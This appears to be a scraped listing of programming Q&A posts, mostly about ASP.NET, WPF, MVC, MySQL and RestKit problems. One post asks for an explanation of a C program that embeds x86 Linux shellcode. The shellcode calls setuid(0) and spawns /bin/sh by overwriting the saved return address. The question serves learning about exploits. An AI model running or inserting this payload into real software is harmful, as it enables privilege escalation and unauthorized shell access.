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  • ASP.Net Session data lost between pages

    - by Ananth
    Hi, i came across a weird behavior today w/ my web application. When I navigate from a page to another, I lose one particular session variable data. I'm able to launch the app in firefox and able to see that the session data is not lost. I use Response.Redirect(page2, false) to redirect to another page. Below code was used to track session variables System.IO.StreamWriter sw = new System.IO.StreamWriter(@"c:\test.txt", true); for (int i = 0; i < Session.Count; i++) { sw.WriteLine(Session.Keys[i] + " " + Session.Contents[i]); } sw.Close(); Can anyone help me in this? Any help is appreciated. ~/Ananth

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  • Modern way to handle and validate POST-data in MVC 2

    - by zerkms
    There are a lot of articles devoted to working with data in MVC, and nothing about MVC 2. So my question is: what is the proper way to handle POST-query and validate it. Assume we have 2 actions. Both of them operates over the same entity, but each action has its own separated set of object properties that should be bound in automatic manner. For example: Action "A" should bind only "Name" property of object, taken from POST-request Action "B" should bind only "Date" property of object, taken from POST-request As far as I understand - we cannot use Bind attribute in this case. So - what are the best practices in MVC2 to handle POST-data and probably validate it. UPD: After Actions performed - additional logic will be applied to the objects so they become valid and ready to store in persistent layer. For action "A" - it will be setting up Date to current date.

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  • WPF Data virtualizing ListView

    - by Robert Jeppesen
    In our current WinForms app, we are displaying millions of records in ListView, using virtualization. Rows are loaded from DB as they are requested. This works well, with good performance. This is a showstopper for migrating to WPF for us. We need data virtualization in a ListView, like WinForms 2.0 has. Do you know a decent third-party control, or a relatively easy way of doing it with built-in controls? It doesn't need to be a DataGrid, a simple ListView will suffice. Note, I'm note talking about UI virtualization, it's data virtualization.

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  • Fetch data from multiple MySQL tables

    - by Jon McIntosh
    My two tables look like this: TABLE1 TABLE2 +--------------------+ +--------------------+ |field1|field2|field3| and |field2|field4|field5| +--------------------+ +--------------------+ I am already running a SELECT query for TABLE1, and assorting all of the data into variables: $query = "SELECT * FROM TABLE1 WHERE field2 = 2"; $result = mysql_query($query); $num_rows = mysql_num_rows($result); if((!is_bool($result) || $result) && $num_rows) { while($row = mysql_fetch_array($result)) { $field1 = $row['field1']; $field2 = $row['field2']; $field3 = $row['field3']; } } What I want to do is get the data from 'field4' on TABLE2 and add it to my variables. I would want to get field4 WHERE field2 = 2

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  • Java : Storing Data in Array Of Object from JOptionPane Dialog

    - by Bader
    hi guys i need to know how i can insert data inside objects inside an array of objects using my already made Set methods. i need to know how should i do it through user , i mean JOptionPane input dialog [code] student[] s=new student[5]; for (int i=1 ; i <= s.length ;i++) { s[i] = new student(i,"AAA","Ecommerce",0.0); } for (int i=1; i<=s.length;i++) { name = JOptionPane.showInputDialog("Please Write Name for student n " + i); major = JOptionPane.showInputDialog("Please Write Major for student n " + i); gpa =Double.parseDouble(JOptionPane.showInputDialog("Please Write GPA for student n " +i)); s[i]=new student(i,name,major,gpa); } [/code] i tried to do vars here that get data from user by JOptionPane, but it seems that i only use my already made constructor , not the Set methods. i need to use the methods because it has some validation code inside it. any ideas ?

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  • How to chroot Django

    - by Brian M. Hunt
    Can one run Django in a chroot? Notably, what's necessary in order to set up (for example) /var/www as a chroot'd directory and then have Django run in that chroot'd directory? Thank you - I'm grateful for any input.

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  • ASP.Net MVC and N-Tier

    - by Damien
    Greetings, Apologies in advance that I have not researched this toughly enough to answer the question myself, but I imagine it would take me some time and I would rather know now before I invest more time in learning it. I couldn't find anything in my initial research.. Why use ASP.Net MVC if your already using a multi-tier architecture (Data Layer, Logic Layer, Presentation Layer)? Other than the fact the controller has more power than the logic layer. Am I right in thinking I can use nHibernate and all my data access classes, entities, and mappings in the Model part of the MVC? When using controllers, is it best to separate a lot of the logic into a separate class so I can call it from multiple controllers? Or can I call them from the controllers themselves, considering the fact that I would not want all of them to be Actions, just normal methods. Thanks

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  • Using transactions with ADO.NET Data Adapters.

    - by Ergwun
    Scenario: I want to let multiple (2 to 20, probably) server applications use a single database using ADO.NET. I want individual applications to be able to take ownership of sets of records in the database, hold them in memory (for speed) in DataSets, respond to client requests on the data, perform updates, and prevent other applications from updating those records until ownership has been relinquished. I'm new to ADO.NET, but it seems like this should be possible using transactions with Data Adapters (ADO.NET disconnected layer). Question part 1: Is that the right way to try and do this? Question part 2: If that is the right way, can anyone point me at any tutorials or examples of this kind of approach (in C#)? Question part 3: If I want to be able to take ownership of individual records and release them independently, am I going to need a separate transaction for each record, and by extension a separate DataAdapter and DataSet to hold each record, or is there a better way to do that? Each application will likely hold ownership of thousands of records simultaneously.

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  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

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  • can some hacker steal the cookie from a user and login with that name on the web site ?

    - by Aristos
    Reading this question different users get the same cookie value in aspxanonymous and search for a solution, I start thinking, if it is possible for some one to really steal the cookie with some way, and then place it on his browser and login lets say as administrator. Do you know how form authentication can ensure that even if the cookie is stoled, the hacker not actual login using it ? Or do you know any other automatic defense mechanism ? Thank you in advanced.

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  • Current ways to do data binding in .NET 3.5 with C# 3.0 and WinForms

    - by kryptic
    Hello Everyone, I have an existing C# 3.0 WinForms project with .NET 3.5 that talks to a MySQL database. I would like to use data binding (I'm new to this, so I've been doing all of the UI updates manually) to simplify things. I followed a link from this question to this article which mentions using a DataSet but also follows up with "my view on this topic is strongly in favor of Business Objects." Also that was with .NET 2.0. What are the current methods to use data binding with a WinForms application? What are their advantages in terms of simplicity, how much additional code is necessary, etc. For reference, I use an ORM approach to build objects with public properties from a database. I want to map these properties for each object onto UI elements like TextBoxes. There could be many properties for an object so I want to simplify the code to do this.

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  • Does form with enctype="multipart/form-data" cause problems accessing a hidden field

    - by Ankur
    I have created a hidden form element <form name="UploadImage" enctype="multipart/form-data" method="post" action="UploadImage"> <label> </label> <input name="imgUploadObjId" id="imgUploadObjId" value="52" type="hidden"> //rest of the form here </form> And I am trying to get the value with this line in a servlet (as I have done before): int objId = Integer.parseInt(request.getParameter("imgUploadObjId")); But I get this (line 33 is the line above): java.lang.NumberFormatException: null java.lang.Integer.parseInt(Unknown Source) java.lang.Integer.parseInt(Unknown Source) web.objects.UploadImage.doPost(UploadImage.java:33) javax.servlet.http.HttpServlet.service(HttpServlet.java:637) javax.servlet.http.HttpServlet.service(HttpServlet.java:717) Is there something different about a form with enctype="multipart/form-data"? Or can you see some other error.

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  • Securing Files over Web: Fine Grained Authorization Based File Access

    - by Nishant
    I have a system where employees can upload files. There are three ways Upload to my account in public, private or protected mode Upload to department account in public, private or protected mode Upload to organization account in public, private or protected mode where public is visible to anyone, private to the group or person only and protected to anyone in the organization. All the files for an organization are stored in a directory say, /files/<organizationId>/, on file server like files +-- 234809 | +img1.jpg | +doc1.pdf +-- 808234 | +doc2.pdf I am storing file-path and privacy level in DB. So, I can control whether to show link to a file URL to an user -- on a given page. The problem is, I do not have any control over file's URL... so, if some one types the URL to img1.jpg in his browser's address bar, there is no way to know whether a logged in user is eligible to see img1.jpg. Any suggestion? Thanks Nishant

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  • RestKit : Not able to perform mapping using coredata

    - by Ashish Beuwria
    I'm using rest kit 0.20.3 and Xcode 5. Without core data I'm able to perform all rest kit operation, but when I've tried it with core data, I'm not even able to perform GET due to some problem. I can't figure it out. I'm new with core data. So pls help. Here is my code: AppDelegate.m @implementation CardGameAppDelegate @synthesize managedObjectContext = _managedObjectContext; @synthesize managedObjectModel = _managedObjectModel; @synthesize persistentStoreCoordinator = _persistentStoreCoordinator; - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { RKLogConfigureByName("RestKit", RKLogLevelWarning); RKLogConfigureByName("RestKit/ObjectMapping", RKLogLevelTrace); RKLogConfigureByName("RestKit/Network", RKLogLevelTrace); RKObjectManager *objectManager = [RKObjectManager managerWithBaseURL:[NSURL URLWithString:@"http://192.168.1.3:3010/"]]; RKManagedObjectStore *objectStore = [[RKManagedObjectStore alloc] initWithManagedObjectModel:self.managedObjectModel]; objectManager.managedObjectStore = objectStore; RKEntityMapping *playerMapping = [RKEntityMapping mappingForEntityForName:@"Player" inManagedObjectStore:objectStore]; [playerMapping addAttributeMappingsFromDictionary:@{@"id": @"playerId", @"name": @"playerName", @"age" : @"playerAge", @"created_at": @"createdAt", @"updated_at": @"updatedAt"}]; RKResponseDescriptor *responseDesc = [RKResponseDescriptor responseDescriptorWithMapping:playerMapping method:RKRequestMethodGET pathPattern:@"/players.json" keyPath:nil statusCodes:RKStatusCodeIndexSetForClass(RKStatusCodeClassSuccessful)]; [objectManager addResponseDescriptor:responseDesc]; PlayersTableViewController *ptvc = (PlayersTableViewController *)self.window.rootViewController; ptvc.managedObjectContext = self.managedObjectContext; return YES; } and code for playerTableViewController.h #import <UIKit/UIKit.h> @interface PlayersTableViewController : UITableViewController <NSFetchedResultsControllerDelegate> @property (strong, nonatomic) NSFetchedResultsController *fetchedResultsController; @property (strong, nonatomic) NSManagedObjectContext *managedObjectContext; @end and PlayerTableViewController.m get method: -(void)loadPlayers{ [[RKObjectManager sharedManager] getObjectsAtPath:@"/players.json" parameters:nil success:^(RKObjectRequestOperation *operation, RKMappingResult *mappingResult){ [self.refreshControl endRefreshing]; } failure:^(RKObjectRequestOperation *operation, NSError *error) { [self.refreshControl endRefreshing]; UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"An Error Has Occurred" message:[error localizedDescription] delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil]; [alertView show]; }]; } I'm getting the following error : Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'Unable to perform mapping: No `managedObjectContext` assigned. (Mapping response.URL = http://192.168.1.3:3010/players.json)'

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  • How secure is WCF wsHttpBinding's Windows authentication?

    - by Akash Kava
    I have created WCF and I have used wsHttpBinding and MTOM as message transport with authentcation as "Windows". Now my service is not current SECURE, its plain HTTP, running on custom port. Is Windows Authentication of WCF's wsHttpBinding secure? can anyone see the password or guess through network trace? Thank you, - Akash

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  • The finest way to store the HardCore Data i android

    - by david
    Hi All! I am working on an application where I have a long listing of different states approximately 20 states and each state consisting of several zones in addition to the weather forcast of each zone eventually. Now the thing is that I have already created the Listing of hardcore data in a list view of all the states. Again I need to add the hardcore data of several zones for each state(min 4 to 5 zones/ state). So , now I am wondering that whether I have to create the separate classes with hardcore names of all the zones in each state or is there any easy way out for doing the same. It would be great if anyone having the idea can tell me. Thanks, david

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  • IIS Manager IIS6 Rights Management on Windows Server 2003

    - by Chris
    We are using a dedicated hosting provider to host several of our public websites. There are two development teams/divisions within our company who each maintain public websites on these same servers. Is there a way through ACLs or some sort of rights management (e.g. individual logins) that I would only be able to see and maintain only my public sites and the other development team could only see and maintain their sites? Thanks! Chris

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  • WPF ListView Data Binding wont synchronize

    - by Aviatrix
    my listview will display only the item that its added by the constructor and it wont add the items that i add dynamically public class PostList : ObservableCollection<PostData> { public PostList() : base() { Add(new PostData("Isak", "Dinesen")); // Add(new PostData("Victor", "Hugo")); // Add(new PostData("Jules", "Verne")); } public void AddToList (string[] data){ string username2, msg; msg = data[0]; username2 = data[1]; Add(new PostData(msg, username2)); } } public class PostData { private string Username; private string Msg; private string Avatar; private string LinkAttached; private string PicAttached; private string VideoAttached; public PostData(string msg ,string username, string avatar=null, string link=null,string pic=null ,string video=null) { this.Username = username; this.Msg = msg; this.Avatar = avatar; this.LinkAttached = link; this.PicAttached = pic; this.VideoAttached = video; } public string pMsg { get { return Msg; } set { Msg = value; } } public string pUsername { get { return Username; } set { Username = value; } } ..... ..... } Xaml <ListView x:Name="PostListView" BorderThickness="0" MinHeight="300" Background="{x:Null}" BorderBrush="{x:Null}" Foreground="{x:Null}" VerticalContentAlignment="Top" ScrollViewer.HorizontalScrollBarVisibility="Disabled" ScrollViewer.VerticalScrollBarVisibility="Disabled" IsSynchronizedWithCurrentItem="True" MinWidth="332" SelectedIndex="0" SelectionMode="Extended" AlternationCount="1" ItemsSource="{Binding Source={StaticResource PostListData}}"> <ListView.ItemTemplate> <DataTemplate> <DockPanel x:Name="SinglePost" VerticalAlignment="Top" ScrollViewer.CanContentScroll="True" ClipToBounds="True" Width="333" Height="70" d:LayoutOverrides="VerticalAlignment" d:IsEffectDisabled="True"> <StackPanel x:Name="AvatarNickHolder" Width="60"> <Label x:Name="Nick" HorizontalAlignment="Center" Margin="5,0" VerticalAlignment="Top" Height="15" Content="{Binding Path=pUsername}" FontFamily="Arial" FontSize="10.667" Padding="5,0"/> <Image x:Name="Avatar" HorizontalAlignment="Center" Margin="5,0,5,5" VerticalAlignment="Top" Width="50" Height="50" IsHitTestVisible="False" Source="1045443356IMG_0972.jpg" Stretch="UniformToFill"/> </StackPanel> <TextBlock x:Name="userPostText" Margin="0,0,5,0" VerticalAlignment="Center" FontSize="10.667" Text="{Binding Path=pMsg}" TextWrapping="Wrap"/> </DockPanel> </DataTemplate> </ListView.ItemTemplate> </ListView>

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  • R and SPSS difference

    - by sfactor
    i will be analysing vast amount of network traffic related data shortly. i will pre-process the data in order to analyse it. i have found that R and SPSS are among the most popular tools for statistical analysis. i will also be generating quite a lot of graphs and charts. so i was wondering what is the basic difference between these two softwares. i am not asking which one is better. i just wanted to know what are the difference in terms of workflow between the two besides the fact that SPSS has a GUI. I will be mostly working with scripts in either case anyway so i wanted to know about the other differences.

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  • Comparison of SSL Certificates

    - by Walley
    My web application most definately needs an SSL certificate I was looking into godaddy's: http://www.godaddy.com/ssl/ssl-certificates.aspx The standard doesn't appear to have the lock in the URL bar, which a lot of users might not consider secure... How true is this? The Standard has https:// obviously in the bar, but is that enough to persuade users to want to enter in confidential information?? I'd appreciate any experience anyone has had with this. or any alterates they've dealt with. Is $100/year really the going rate for an SSL cert that has the lock in the url bar? Thanks SO!

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